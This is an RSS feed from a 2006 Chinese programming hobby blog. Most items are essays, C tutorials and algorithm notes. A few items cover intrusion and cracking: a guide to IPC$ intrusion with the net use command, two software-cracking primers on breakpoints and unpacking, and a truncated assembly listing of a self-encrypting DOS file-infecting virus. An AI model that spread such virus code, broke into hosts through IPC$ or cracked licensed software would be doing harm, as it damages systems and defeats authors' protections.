<?xml version="1.0" encoding="utf-8"?><rss version="2.0">
<channel>
<title><![CDATA[一路风尘]]></title>
<link>http://blog.pfan.cn/asun</link>
<description>编程爱好者博客</description>
<language>zh-cn</language>
			<item>
		<title><![CDATA[&nbsp;拥有“自我”]]></title>
		<link>http://blog.pfan.cn/asun/16616.html</link>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 拥有“自我”
-----
&nbsp;
&nbsp;&nbsp;&nbsp; 哲学家们常常教导我们，要“认识你自己”，“成为你自己”。的确，人活在世上，应该活出自己的本色。然而，“自我”是一个复杂的概念，哲学家们自己尚且争论不清。一个人怎样才算拥有“自我”呢？我认为有两个可靠的标志。&nbsp;&nbsp;&nbsp; 一是看他有没有自己的真兴趣，亦即自己安身立命的事业，他能够全身心地投入其中，并感到内在的愉快和充实。如果有，便表明他正在实现“自我”，这个“自我”是指他的个性，每个人独特的生命价值。&nbsp;&nbsp;&nbsp; 二是看他有没有自己的真信念，亦即自己处世做人的原则，那是他的精神上的坐标轴，使他在俗世中不随波逐流。如果有，便表明他拥有“自我”，这个“自我”是指他的灵魂，一个坚定的精神核心。&nbsp;&nbsp;&nbsp; 这两种意义上的“自我”都不是每个人一出生就拥有的，而是在人生过程中不断选择和创造的结果。正因为此，每个人都要为自己成为怎样的人负责。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 解读“性格就是命运”
&nbsp;
&nbsp;&nbsp;&nbsp; 古希腊哲人赫拉克利特说：“一个人的性格就是他的命运。”这句话包含两层意思：一，对于每一个人来说，性格是与生俱来、伴随终身的，永远不可摆脱，如同不可摆脱命运一样；二，性格决定了一个人在此生此世的命运。&nbsp;&nbsp;&nbsp; 那么，能否由此得出结论，说一个人命运的好坏是由天赋性格的好坏决定的呢？我认为不能，因为天性无所谓好坏，因此由之决定的命运也无所谓好坏。明确了这一点，可知赫拉克利特的名言的真正含义是：一个人应该认清自己的天性，过最适合于他的天性的生活，而对他而言]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-07-15 22:31:00</pubDate>
		</item>
				<item>
		<title><![CDATA[大学生应该学习哪些电子知识]]></title>
		<link>http://blog.pfan.cn/asun/16323.html</link>
		<description><![CDATA[http://www.mcufan.com/xinshou/daxueshengyingxue.htm
有不少的在校的大学生写信给我,问在学校里应该学习什么电子知识.就业形势越来越严峻,不光是在中国,全球都一样,全球经济的发展速度放慢,至少会持续几年的时间.半导体产业目前进入低潮,很多公司裁员和亏损.但是技术还是在不断进步,摩尔定律还在起作用,半导体产品的集成度,速度,价格都按摩尔定律在发展.在大学里只是混混日子的大学生不少,但也有一些比较努力的学生,想掌握更多的知识,希望能够在毕业之后找到好的工作,或者想创造一番事业,对于这些学生,我是赞赏的.我相信一分辛劳一分收获,你的努力是不会白费的.这个世界是适者生存,不适者淘汰的社会.像华为公司,进进出出的人不计其数,能适应的,留,不适应的,走.　　有网友问我,你在大学里是怎么度过的?我是一个对电子有浓厚兴趣的人,在高中的时候就开始抓电烙铁,把家里的电器搞的乱七八糟(拆了,就不知道怎么装回去,当然现在不会这样了). 在大学里,我对电子很感兴趣,自己也买一些器件(我在广州中山大学读书,广州是一个很好的市场,元器件容易买,不管是旧的,还是新的,开始的时候,自己兜里没有多少钱,就买一些旧的元器件),然后自己组装音响,一开始问题真是多,搞了一个学期才搞定,由于问题多,所以经常到图书馆去查资料,去书店看(没有钱买书的时候就抄一段回来),学到很多模拟电路方面的知识.后来就组装逆变器(学校里晚上要关灯,没有电),逆变器可以在关灯了的时候提供电,别的宿舍都停电了,我宿舍就不会停(有逆变器供电),一到关了灯,同学们都跑到我们宿舍来聊天(别的宿舍都一片黑),也是其乐熔融,还有半夜三更看球赛.还组装了CD,VCD,录像机,我们宿舍成为了娱乐中心,可以卡拉OK,可以看电视,看录像,整个物理系,就我们宿舍是最齐全的娱乐设施.也不知道看过多少张VCD,很多同学是广州,从家里拿来好多VCD(还有一些同学的老爸是抓走私的,收缴了好多VCD,也拿过来看),每到下午6点,就开始放VCD,很多人看. 通过这些组装,学习了很多关于模拟电路和数字电路方面的知识,虽然我别的课程学的不好,但是电路的课程是一流的. 　　单片机和fpga方面的知识,在大学学的不多,因为学校的东西太落后,都是到公司才学的.我认为对于搞电子来说,兴趣是最好的老师,如果你没有兴趣,那么最好不]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-07-02 19:19:00</pubDate>
		</item>
				<item>
		<title><![CDATA[关于动态规划算法的研究]]></title>
		<link>http://blog.pfan.cn/asun/14360.html</link>
		<description><![CDATA[关于动态规划算法的研究
原创：怒火之袍  2003年2月25日  



一、动态规划的基本思想

在比较基本的算法设计思想里，动态规划是比较难于理解，难于抽象的一种，但是却又十分重要。动态规划的实质是分治思想和解决冗余，因此它与分治法和贪心法类似，它们都是将问题的实例分解为更小的、相似的子问题，但是动态规划又有自己的特点。

贪心法的当前选择可能要依赖于已经作出的选择，但不依赖于还未做出的选择和子问题，因此它的特征是由顶向下，一步一步地做出贪心选择，但不足的是，如果当前选择可能要依赖子问题的解时，则难以通过局部的贪心策略达到全局最优解。相比而言，动态规划则可以处理不具有贪心实质的问题。

在用分治法解决问题时，由于子问题的数目往往是问题规模的指数函数，因此对时间的消耗太大。动态规划的思想在于，如果各个子问题不是独立的，不同的子问题的个数只是多项式量级，如果我们能够保存已经解决的子问题的答案，而在需要的时候再找出已求得的答案，这样就可以避免大量的重复计算。由此而来的基本思路是，用一个表记录所有已解决的子问题的答案，不管该问题以后是否被用到，只要它被计算过，就将其结果填入表中。

比较感性的说，其实动态规划的思想是对贪心算法和分治法的一种折衷，它所解决的问题往往不具有可爱的贪心实质，但是各个子问题又不是完全零散的，这时候我们用一定的空间来换取时间，就可以提高解题的效率。

二、动态规划的基本步骤

动态规划算法通常用于求解具有某种最优性质的问题。在这类问题中，可能会有许多可行解。每一个解都对应于一个值，我们希望找到具有最优值（最大值或最小值）的那个解。设计一个动态规划算法，通常可以按以下几个步骤进行：

（1）找出最优解的性质，并刻画其结构特征。

（2）递归地定义最优值。

（3）以自底向上的方式计算出最优值。

（4）根据计算最优值时得到的信息，构造一个最优解。

其中（1）——（3）步是动态规划算法的基本步骤。在只需要求出最优值的情形，步骤（4）可以省去。若需要求出问题的一个最优解，则必须执行步骤（4）。此时，在步骤（3）中计算最优值时，通常需记录更多的信息，以便在步骤（4）中，根据所记录的信息，快速构造出一个最优解。

三、典型的动态规划举例——矩阵连乘问题

作为经典的动态规划算法举例，矩阵连乘问]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-05-19 22:22:00</pubDate>
		</item>
				<item>
		<title><![CDATA[李开复给中国IT大学生的7点建议（转）]]></title>
		<link>http://blog.pfan.cn/asun/13194.html</link>
		<description><![CDATA[很多在校的大学同学问我们：“我今年还没有到毕业班，但我很想知道，如果将来想申请Google中国工程研究院，现在应该如何让自己做好准备？”下面是Google中国总裁李开复博士和其他一些Google资深的华人工程师给广大同学的建议。 （1）练内功。不要只花功夫学习各种流行的编程语言和工具，以及一些公司招聘广告上要求的科目。要把数据结构、算法、数据库、操作系统原理、计算机体系结构、计算机网络，离散数学等基础课程学好。不妨试试Donald Knuth的Art of Computer Programming里的题目，如果你能够解决其中的大部分题目，就说明你在算法方面的功力不错了。 （2）多实战。通过编程的实战积累经验、内化知识。建议大家争取在大学四年中积累编写十万行代码的经验。 （3）求实干。不要轻视任何的实际工作，比如一些看似简单的编码或测试。要不懈追求对细节一丝不苟的实干作风与职业精神。 （4）不放弃数学。数学是思维的体操，数学无处不在。尤其当你对一些“数学密集型”的领域有兴趣，例如视频、图像处理等等，你需要使它成为你的利器。 （5）培养团队精神，学会与人合作。 （6）激励创新意识，不为书本和权威意见所束缚。 （7）有策略地“打工”。在不影响学业的前提下，寻找真正有意义的暑期工作或兼职。去找一个重视技术的公司，在一个好的“老板”指导下完成真正会被用户使用的程序。不要急于去一个要你做“头”而独挡一面的地方，因为向别人学习，是你的目的。打工和找工作一样，“不要只看待遇和职衔，要挑一个你能够学习的环境，一个愿意培养员工的企业，一个重视你的专业的公司，最后，要挑一个好老板。”]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-26 13:21:00</pubDate>
		</item>
				<item>
		<title><![CDATA[理解typedef]]></title>
		<link>http://blog.pfan.cn/asun/11983.html</link>
		<description><![CDATA[本人学C++也有三年了，还是对typedef不太熟，今天终于弄清楚了，所以发表此帖，希望对不太清楚的朋友能有所帮助。
首先请看看下面这两句：
typedef int a[10];
typedef void (*p)(void);
如果你能一眼就看出它们的意思，那请不要再往下看了。如果你不太理解，或概念还有些模糊，请继续往下看吧。
下面的东西我就直接把人家的东西粘上去吧。自己敲太慢了。呵呵。
原文（摘录）：
typedef用来声明一个别名，typedef后面的语法，是一个声明。本来笔者以为这里不会产生什么误解的，但结果却出乎意料，产生误解的人不在少数。罪魁祸首又是那些害人的教材。在这些教材中介绍typedef的时候通常会写出如下形式：
typedef int PARA;

这种形式跟#define int PARA几乎一样，如前面几章所述，这些教材的宗旨是由浅入深，但实际做出来的行为却是以偏盖全。的确，这种形式在所有形式中是最简单的，但却没有对 typedef进一步解释，使得不少人用#define的思维来看待typedef，把int与PARA分开来看，int是一部分，PARA是另一部分，但实际上根本就不是这么一回事。int与PARA是一个整体！就象int i:声明一样是一个整体声明，只不过int i定义了一个变量，而typedef定义了一个别名。这些人由于持有这种错误的观念，就会无法理解如下一些声明：

typedef int a[10];
typedef void (*p)(void);

他们会以为a[10]是int的别名，(*p)(void)是void的别名，但这样的别名看起来又似乎不是合法的名字，于是陷入困惑之中。实际上，上面的语句把a声明为具有10个int元素的数组的类型别名，p是一种函数指针的类型别名。

虽然在功能上，typedef可以看作一个跟int PARA分离的动作，但语法上typedef属于存储类声明说明符，因此严格来说，typedef int PARA整个是一个完整的声明。
定义一个函数指针类型。
比如原函数是   void   func(void);
那么定义的函数指针类型就是typedef   void   (*Fun)(void);
然后用此类型生成一个指向函数的指针：   Fun   func1]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-06 08:42:00</pubDate>
		</item>
				<item>
		<title><![CDATA[写好C程序的10条秘籍]]></title>
		<link>http://blog.pfan.cn/asun/11964.html</link>
		<description><![CDATA[神乎其技，惟C程序，功到自成，十大建议！

　　1、汝应频繁催动lint工具，据其语法声明修习内力，此事皆因lint之思虑决断实远在君上。

　　2、不可依随NULL指针，如若不然，混沌痴颠必俟君于彼岸。

　　3、纵有天赋大智慧，知晓其事无碍，汝亦当尽数强制挪移函数参数为原型所期之数据类型，以免一时疏忽，致使数据类型向汝讨还血债。

　　4、若头文件未于函数原型之中声明返回值类型，汝当亲为此事，更须谨慎再三，以防不测降临汝身。

　　5、汝须亲核字符串、数组操作之越界与否。古之圣人有言： 尝祈门人对答“然也”，不意门人答曰“吾了然于胸无须多虑尽请宽心他日趋庭必当重谢”——所期者短，所获者长，此于数组，实最险要处也。

　　6、若函数声明内提及，于异常时将返回错误代码云云，汝当谨慎校核该返回值。或有校核语句使汝之代码增大数倍，令汝之手指因敲键而痛楚莫名之事，汝亦当如此。不然，汝固以为此异常之事难得一见，上苍亦必借此惩戒汝之傲慢。

　　7、汝应研习库函数，不当亲笔重写之。如是，汝之代码必短小易读，汝之心境必清爽恬淡。

　　8、纵汝不愿，汝亦应借括号、缩进之属，使汝之代码间架清晰，可为后者借鉴。汝之大智慧施于决疑解难则可，施于敷设谜团、淆乱文体则万万不可。

　　9、外部标识符之前六字符当与众不同。此律法看似粗陋，和者寥寥，然其效用自能延续永远。汝若不从此言，他日，汝欲连接程序于旧作之上时，必抓耳挠腮、蓬头垢面，狼狈之相尽现矣。

　　10、或有族类，大言炎炎，云“普天之下，莫非VAX”。于此等异端，汝当摒弃之、断绝之、远避之。
更有异人，笃信魔道，以为纵汝所用电脑频繁换代，汝之程序亦能长久适用。汝亦不可与此类恶人来往，谨记谨记。


　　如何编写最烂的C 语言程序

　　1、重写标准库函数，把函数名改成你自己才懂得的晦涩的名字。

　　2、使用晦涩的，个性化的，无法移植的函数库，这样你就永远也不会离开你喜欢的平台了。

　　3、在所有函数调用前，使用最能精确描述函数功能的注释，比如
printf("Hello world\n");

　　4、记住：只有菜鸟才在代码中使用回车换行符； 只有菜鸟的徒弟才使用制表符； 高手会在代码中添加无数内嵌的汇编指令。

　　5、“用户界面”是给低能儿准备的，“用]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-05 09:52:00</pubDate>
		</item>
				<item>
		<title><![CDATA[C语言中数组和指针的互操作]]></title>
		<link>http://blog.pfan.cn/asun/11963.html</link>
		<description><![CDATA[C语言中数组和指针的互操作

    曾听好多朋友说，C是一种怀旧的语言，因为它的历史很久远，然而自从各种面向对象的编程语言的相续出现让它的影响力日减。当然了，这是无可非议的，但是C的高效性其他语言无妨比拟的，所以我们有必要把握其中的精华与奥妙，也就有必要知道其中的基本的数据结构的比如数组，稍微有点深度的堆栈、列表、结构体等的操作和实现。指针也是C语言中的一个很优秀灵活的结构，对它的了解也是必不可少的。

    我们一般都认为数组是一维的数据存储结构，因为二位数组或者说矩阵都可以看作是多个一维数组的组合结构，定义在其上的数据存储访问方式是一样的。所以一维数组是其中最基础的最重要的部分，只有理解了此类数据结构的本质才能触类旁通了。

     数组（array）是若干同类变量的聚合，允许通过统一的名字饮用其中的变量。所以数组也就是一个同一类型的数据的有限集合。可以通过下表来访问数组中的某一/些数组元素。在C语言中数组都由连续的内存区域构成（有时候，不一定是这样），最低地址对应首元素，数组的下标是从0开始的，所以首元素也就是数组下标为0的元素，最高的地址对应最末的元素，即第N-1个元素（如果我们定义的数组为N元）。

数组的定义方式：

    在C语言中允许在声明数组的时候同时对其进行初始化，也可以把声明和定义放在不同的位置，初始化的一般的类似于如下的表达式：
type_specifier array_name[size1]...[sizeN] = {value_list};
其中vlaue_list是由逗号(，)分隔的常量表，常量表必须和type_specifier兼容。最后由分号与下一个语句分隔。由此可见一维数组的定义方式为：
type_specifier array_name[size] = {value_list};

如下：char hello[12] = {'H','e','l','l','o',',',' ','w','o','r','l','d','\0'};
     注意：字符数组是一"'\0'"收尾的，这是C标准的一部分。因为在操作字符数组的时候是以'\0'作为结束判断的标志。当然了，如果你定义的是一个字符串那就不用加这个'\0'了。因为有机制帮助你自动添加。上面的例子的串的生命方式为：string hello]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-05 09:47:00</pubDate>
		</item>
				<item>
		<title><![CDATA[IPC$入侵]]></title>
		<link>http://blog.pfan.cn/asun/11962.html</link>
		<description><![CDATA[在黑客众多的入侵手段中，通过IPC$入侵已成为目前比较常见的一种方式，其攻击步骤甚至可以说已经成为经典的入侵模式，许多朋友非常想搞清楚这是怎么回事。知己知彼，方能百战不殆，基于这种考虑，我们来介绍一下这种入侵方式的基础知识。

    IPC 是Internet Process Connection的缩写，也就是远程网络连接。它是Windows NT/2000/XP特有的一项功能，就是在两个计算机进程之间建立通信连接。打个比方，IPC连接就像是挖好的地道，程序可通过地道访问远程主机。默认情况下，IPC是共享的，也就是说微软已经为我们挖好了这个地道（IPC），因此，这种基于IPC的入侵也常常被简称为IPC入侵。

    IPC 后面的$是共享的意思，不过是隐藏的共享，微软系统中用“$”表示隐藏的共享，比如C$就是隐藏的共享C盘。也就是说C盘是共享的，但是C盘没有那个“托手”标志。IPC$是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。利用IPC$，连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码！当然对方机器必须打开IPC$共享，否则你是连接不上的。而利用这个空的连接，连接者还可以得到目标主机上的用户列表。

    问：建立IPC连接需要什么条件？

    答：建立IPC连接要求双方都是基于NT架构的系统。Windows Me/98/95都不可以。

    问：怎么才能建立IPC连接呢？需要什么黑客工具呢？

     答：建立IPC连接不需要任何黑客工具，在Windows里敲命令行就行了，但需要知道远程主机的用户名和密码。打开CMD后用如下命令：net use\\ip\ipc$ "password" /user:"username"进行连接。注意，如果远程服务器没有监听139或445端口，会话是无法建立的。也就是说IPC$需要对方开启139或 445端口。

    问：建立IPC$之后黑客能做什么？

    答：如果黑客使用管理员权限的账号和目标连接IPC $，他就可以和对方系统做深入“交流”了。黑客可以使用各种命令行方式的工具，比如pstools系列、Win2000SrvReskit、 telnethack等获]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-05 09:40:00</pubDate>
		</item>
				<item>
		<title><![CDATA[C语言高效编程的四大绝招]]></title>
		<link>http://blog.pfan.cn/asun/11961.html</link>
		<description><![CDATA[编写高效简洁的C语言代码，是许多软件工程师追求的目标。本文就是针对编程工作中的一些体会和经验做相关的阐述。

第一招：以空间换时间

计算机程序中最大的矛盾是空间和时间的矛盾，那么，从这个角度出发逆向思维来考虑程序的效率问题，我们就有了解决问题的第1招--以空间换时间。比如说字符串的赋值：

方法A：通常的办法

#define LEN 32
char string1 [LEN];
memset (string1,0,LEN);
strcpy (string1,"This is a example!!"）;



方法B：

const char string2[LEN] ="This is a example!";
char * cp;
cp = string2 ;



使用的时候可以直接用指针来操作。

从上面的例子可以看出，A和B的效率是不能比的。在同样的存储空间下，B直接使用指针就可以操作了，而A需要调用两个字符函数才能完成。B的缺点在于灵活性没有A好。在需要频繁更改一个字符串内容的时候，A具有更好的灵活性；如果采用方法B，则需要预存许多字符串，虽然占用了大量的内存，但是获得了程序执行的高效率。

如果系统的实时性要求很高，内存还有一些，那我推荐你使用该招数。该招数的变招--使用宏函数而不是函数。举例如下：

方法C：

#define bwMCDR2_ADDRESS 4
#define bsMCDR2_ADDRESS 17
int BIT_MASK(int __bf) 
{
　return ((1U]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-05 09:25:00</pubDate>
		</item>
				<item>
		<title><![CDATA[十招学会破解]]></title>
		<link>http://blog.pfan.cn/asun/11858.html</link>
		<description><![CDATA[1  十招教你学会破解

下面谈到了一些在学习解密过程中经常遇到的问题，本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的，根据我自己的学习经历，如果你直接照着很多破解教程去学习的话，多半都会把自己搞得满头的雾水，因为有很多的概念要么自己不是很清楚，要么根本就不知道是怎么一回事，所以希望通过下面的讨论给大家一定的帮助：
1. 断点：所谓断点就是程序被中断的地方，这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢？中断就是由于有特殊事件（中断事件）发生，计算机暂停当前的任务（即程序），转而去执行另外的任务（中断服务程序），然后再返回原先的任务继续执行。打个比方：你正在上班，突然有同学打电话告诉你他从外地坐火车过来，要你去火车站接他。然后你就向老板临时请假，赶往火车站去接同学，接着将他安顿好，随后你又返回公司继续上班，这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来，然后我们通过分析程序，找到正确的注册码。所以我们需要为被解密的程序设置断点，在适当的时候切入程序内部，追踪到程序的注册码，从而达到crack的目的。

2. 领空：这是个非常重要的概念，但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词，如果你搞不清楚到底程序的领空在哪里，那么你就不可能进入破解的大门。或许你也曾破解过某些软件，但那只是瞎猫碰到死老鼠而已（以前我就是这样的^_^,现在说起来都不好意思喔！）。所谓程序的领空，说白了就是程序自己的地方，也就是我们要破解的程序自己程序码所处的位置。也许你马上会问：我是在程序运行的时候设置的断点，为什么中断后不是在程序自己的空间呢？因为每个程序的编写都没有固定的模式，所以我们要在想要切入程序的时候中断程序，就必须不依赖具体的程序设置断点，也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代，基本上所有的程序都是工作在中断程序之上的，即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代，程序没有权力直接调用中断，WINDOWS系统提供了一个系统功能调用平台（API），就向DOS程序以中断程序为基础一样， WINDOWS程序以API为基础来实现和系统打交道，从而各种功能，所以WINDWOS下的软件破解其断]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-02 14:52:00</pubDate>
		</item>
				<item>
		<title><![CDATA[用汇编语言写的一个病毒--源码]]></title>
		<link>http://blog.pfan.cn/asun/11854.html</link>
		<description><![CDATA[这个病毒虽然比较简单。但是麻雀虽小，五脏俱全。隐藏，感染，加密等模块应有尽有（只是不会破坏），是一个比较标准的DOS病毒，可以感染.EXE（不包括PE）和.COM的可执行文件。
如果您希望学习汇编语言，用这个程序作为入门指导倒是比较合适的。
染毒文件会被打上“CR”的标记，我们姑且称它为CR病毒吧。
baseoff equ 107h

code    segment
    assume cs:code,ds:code,es:code,ss:code
    org 100h
main:    
    mov ax,offset begin
    jmp ax
    
    db 'cr'
        
begin:    
    push es
    push ds
    
    mov ax,cs
    mov ds,ax
    mov es,ax
    
    call get_ip    
    push ax
    mov ax,offset encodebegin
    jmp short get_ip_end
    
oldhead    db 0h,4ch,0cdh,21h,6 dup (?)

get_ip    label near
    mov bp,sp
    mov bx,[bp]
    ret
get_ip_end:
    sub bx,112h        ;get current offset
    add ax,bx
    push ax
    pop di
    mov si,di
    cld
    mov cx, offset endtag-offset encodebegin
    mov dl, byte ptr [oldhead+bx]
    push si
decode:    
    lodsb
    xor al,dl
    stosb            ;decode at runtime
    loop decode
    retf            ;retf  cs:ip=encodebegin
    db 62h
    db]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-02 13:48:00</pubDate>
		</item>
				<item>
		<title><![CDATA[破解入门]]></title>
		<link>http://blog.pfan.cn/asun/11853.html</link>
		<description><![CDATA[第一课 壳

************

一.壳的概念
作者编好软件后,编译成exe可执行文件
1.有一些版权信息需要保护起来,不想让别人
随便改动,如作者的姓名等
2.需要把程序搞的小一点,从而方便使用
于是,需要用到一些软件,他们能将exe可执行文件压缩,
实现上述两个功能,这些软件称为加壳软件或压缩软件.
它不同于一般的winzip,winrar等压缩软件.
它是压缩exe可执行文件的,压缩后的文件可以直接运行.

二.加壳软件
最常见的加壳软件ASPACK ,UPX,PEcompact
不常用的加壳软件WWPACK32；PE-PACK ；PETITE ；NEOLITE

第二课 脱壳
************
拿到一个软件,我们首先根据第一课的内容
侦测它的壳,然后我们要把它的壳脱去,还原它的
本来面目.若它没有加壳,就省事不用脱壳了.
一.脱壳软件
unaspack,caspr,upx,unpecompact,procdump
二.使用方法
(一)aspack壳 脱壳可用unaspack或caspr
1.unaspack  我的主页可下载中文版
使用方法类似lanuage
傻瓜式软件,运行后选取待脱壳的软件即可.  缺点：只能脱aspack早些时候版本的壳,不能脱高版本的壳
2.caspr
第一种：待脱壳的软件(如aa.exe)和caspr.exe位于同一目录下,执行
windows起始菜单的运行,键入 caspr aa.exe
脱壳后的文件为aa.ex_,删掉原来的aa.exe,将aa.ex_改名为aa.exe即可
使用方法类似fi  优点：可以脱aspack任何版本的壳，脱壳能力极强 缺点：Dos界面

第二种：将aa.exe的图标拖到caspr.exe的图标上

***若已侦测出是aspack壳,用unaspack脱壳出错，说明是aspack高版本的壳，用caspr脱即可
(二)upx壳 脱壳可用upx
待脱壳的软件(如aa.exe)和upx.exe位于同一目录下,执行
windows起始菜单的运行,键入
upx -d aa.exe

(三)PEcompact壳 脱壳用unpecompact   我的主页可下载中文版

使用方法类似lanuage
傻瓜式软件]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-02 13:47:00</pubDate>
		</item>
				<item>
		<title><![CDATA[写给想当程序员的朋友]]></title>
		<link>http://blog.pfan.cn/asun/11808.html</link>
		<description><![CDATA[写给想当程序员的朋友
软件以程序员为本（《程序员》）

谨以此文献给所有想当程序员的朋友

（一） 文章由来及个人经历

我是一名计算机专业的本科毕业生，毕业已经1年多了。毕业后从事的是软件编程工作，经常有其他专业的朋友想从事软件编程工作，向我请教如何，因为我自觉涉行不深，不敢信口开河，无奈朋友信任，我不得不郑重考虑一下这个问题了，来帮助朋友选择和回报朋友的信任。

这也就是此文的由来。

还是先谈谈我个人的经历吧。（是不是有点俗套，但我觉得了解我的经历，有助于理解我话的含义；我一向认为不了解古龙的生活经历的，不会真正读懂古龙的作品和古龙笔下的英雄的）我本科就读于南方一所著名的高校（因为自己的不成气，愧谈母校名谓），学的就是计算机专业。上本科时，几乎没有认真的听完一门专业课程，上课看报纸睡大觉，下课看录像看小说看球赛，临考抱佛脚，每次考试和课程设计都是蒙混过关。（于之相对是，我选修的工商管理和经济贸易方面的课到是听得不亦乐乎，考的分数颇高，也许这才是我的真正兴趣所在。）

总而言之，大学是混过来了，对专业的理解和掌握程度，应该没有达到毕业要求的合格水平。（也很后悔，但是有什么用呢，当时不知道珍惜；如果上天再给我一次机会的话，我一定会抓住，多看点美国大片少看点港片；现在，重回校园是我的一大理想）但是大学的学习使我有了一个简单的知识框架（总算学费没白交），我对一个朋友这样形容过我的这个知识框架，“它不是钢筋铸的，是稻草扎的”，哈哈哈，不要笑，真的，我敢说很多本科毕业的朋友的本专业的知识框架也只不过是“稻草扎的”。直到现在，我一直觉得自己的基础知识还是很薄弱，一直想抓点时间，把基础书本好好的温习一下。（此项任务正在计划和实施中）

毕业后，分配到某研究所工作。当领导让我选择自己以后的工作方向时，我毫不犹豫的选择了软件（也不知道到底是对还是错，但我决不后悔）。此研究所主要是以硬件为核心搞通信控制设备的研发生产；软件是辅助，所以也不受什么重视，很多搞软件的人都跳槽走了，留下来的大都是一些已经废掉和行将废掉的“伪/ 萎”程序员（名副其实的“软件人员”）。在这里感觉不到什么高紧张和高技术程度的研究和开发；软件开发的技术含量极低，以致于大部分人只有半年的学习和开发经验，以后都是这些知识和经验的重复利用。（我问过其他到研究所工作的同学，他们说都一样，呜呼]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-01 18:40:00</pubDate>
		</item>
				<item>
		<title><![CDATA[怎样做程序员]]></title>
		<link>http://blog.pfan.cn/asun/11805.html</link>
		<description><![CDATA[借用一句台词“如果你爱一个人，那么让他去做程序员吧。如果你恨一个人，那么让他去做程序员吧”这个世界再没有一种职业比程序员更痛苦了；再没有一种职业比程序员更快乐了；再没有一种职业比程序员更具有挑战性了；再没一种职业比程序员有更单纯的生活了。因为他是造物主，魔术师，流放者，虔诚之徒。

   如果你只想做一些，“XX管理系统”之类的东东，拜托了请不要做程序员拿起身边的可视化编程资料，用一个礼拜时间在痛苦并未来临之前掌握完成,当然不会随之而来的还有快乐。其实可以学的好方向多的是，老实说，计算机现在已经没有前几年吃香了，正处于低潮期。MBA、法律都是很好的。兴趣是我们作事的最大源动力，当你在这个行业看不到自己的兴趣所在，那么毅然决定离开是最好的选择。但如果你选择了程序员，恭喜你，世界上最美好的，伟大的，震撼的作品就在你触手可及的地方。

   一、起步

   所有人都想成为一个高手，可要知道在所有的高手成为高手之前，他自己都有一个相当长的积累时间。当然，我不是说的那种攒机高手，我是指的真正的计算机高手。比如，懂得汇编可以从事系统底层的工作，或从事软件加解密的工作，这样也可以称为高手；再比如，精通OOP，熟悉设计模式，也可以成为系统设计的高手。高手的定义很多，总体来说，“高手”是在你的实际能力和水平达到一定程度之后一个很自然的反馈。所以千万不要在起步的时候用“高手”两个字来迫害自己，每个人都是从“顺序结构”开始的，每个人都从“main函数是什么？”的问题开始的，掀开第一页，打开编译器是你的起步。执著，坚持，非凡的毅力必定会成就你的。

  二、学习

   计算机的核心课程大致为：数据结构，组成原理，离散数学，操作系统，编译原理，系统结构，软件工程，OOP，图形学，网络，C/C++ /Pascal/Asm编程语言等。是的我知道你想学编程，我知道你今天就想写出一个windows 2006或者什么。我知道你不想学数学，不想学与程序看似无关的其他东东。但是拜托，请耐心点，把核心课程认真学习一遍或几遍，比如数据结构，比如离散数学，再比如操作系统和组成原理等等。为什么是“核心”以后会明白的。不要眼高手低，千万别想当然DS简单，不信你现在写个后序非递归算法，我估计你是挂了。

   三、拓展

    通过起步，你已经学会了三四个低级语言，五六个高级语言在短]]></description>
		<author><![CDATA[softhardnet]]></author>
		<pubDate>2006-04-01 17:05:00</pubDate>
		</item>
				<item>
		<title><![CDATA[小鼠迷宫问题]]></title>
		<link>http://blog.pfan.cn/asun/11586.html</link>
		<description><![CDATA[Description

小鼠a与小鼠b身处一个m×n的迷宫中，如图所示。每一个方格表示迷宫中的一个房间。这 m×n个房间中有一些房间是封闭的，不允许任何人进入。在迷宫中任何位置均可沿上，下，左，右4个方向进入未封闭的房间。小鼠a位于迷宫的(p，q)方格中，它必须找出一条通向小鼠b所在的(r，s)方格的路。请帮助小鼠a找出所有通向小鼠b的最短道路。

对于给定的小鼠的迷宫，编程计算小鼠a通向小鼠b的所有最短道路。

Input

第一行有3个正整数n，m，k，分别表示迷宫的行数，列数和封闭的房间数。接下来的k行中，每行2个正整数，表示被封闭的房间所在的行号和列号。最后的2行，每行也有2个正整数，分别表示小鼠a所处的方格(p，q)和小鼠b所处的方格(r，s)。

Output

输出小鼠a通向小鼠b的最短路长度和有多少条不同的最短路。
第一行是最短路长度,第2行是不同的最短路数。
如果小鼠a无法通向小鼠b则输出“No Solution!”。

Sample Input

8 8 3
3 3
4 5
6 6
2 1
7 7

Sample Output

11
96

Source

Fujian OI -- 2005

 

 

#include
#include
#include
#define MAX 8000
struct Position{
	int row;
	int col;
};
typedef struct Position position;
struct Queue{
	position queue[MAX];
	int top;
	int rear;
};
